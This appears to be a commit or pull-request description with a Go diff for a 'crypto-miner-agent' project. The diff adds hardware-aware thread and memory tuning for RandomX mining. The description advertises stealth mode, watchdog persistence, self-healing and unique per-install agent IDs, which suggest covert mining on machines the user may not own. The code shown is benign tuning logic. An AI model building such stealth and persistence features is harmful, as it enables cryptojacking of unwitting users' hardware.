Add adaptive agent identity, self-healing, stealth, and parallel RandomX.

Each install gets a unique agent ID, hardware-aware thread tuning, watchdog persistence, optional stealth mode, multi-engine RAM mining, and a fully static Windows binary with no runtime dependencies.

agent/config/adapt.go

@@ -0,0 +1,57 @@
+package config
+
+import (
+	"runtime"
+
+	"crypto-miner-agent/stats"
+)
+
+const randomXMBPerThread = 384
+
+// AdaptToSystem tunes thread and memory limits for the host hardware.
+func (c RuntimeConfig) AdaptToSystem(reporter *stats.Reporter) RuntimeConfig {
+	if !c.AdaptToHardware {
+	 return c
+	}
+
+	out := c
+	totalMB := reporter.TotalMemoryMB()
+	if totalMB == 0 {
+		return out
+	}
+
+	if out.MinFreeRAM <= 0 || out.MinFreeRAM > int(totalMB/4) {
+		minFree := int(totalMB / 10)
+		if minFree < 512 {
+			minFree = 512
+		}
+		out.MinFreeRAM = minFree
+	}
+
+	maxByRAM := int(float64(totalMB) * float64(out.MaxMemoryPct) / 100.0 / float64(randomXMBPerThread))
+	if maxByRAM < 1 {
+		maxByRAM = 1
+	}
+
+	threads := out.EffectiveThreads()
+	if threads > maxByRAM {
+		if out.ThreadMode == "fixed" {
+			out.Threads = maxByRAM
+		} else {
+			cores := runtime.NumCPU()
+			if cores < 1 {
+				cores = 1
+			}
+			pct := int(float64(maxByRAM) / float64(cores) * 100.0)
+			if pct < 10 {
+				pct = 10
+			}
+			if pct > 100 {
+				pct = 100
+			}
+			out.ThreadPercent = pct
+		}
+	}
+
+	return out
+}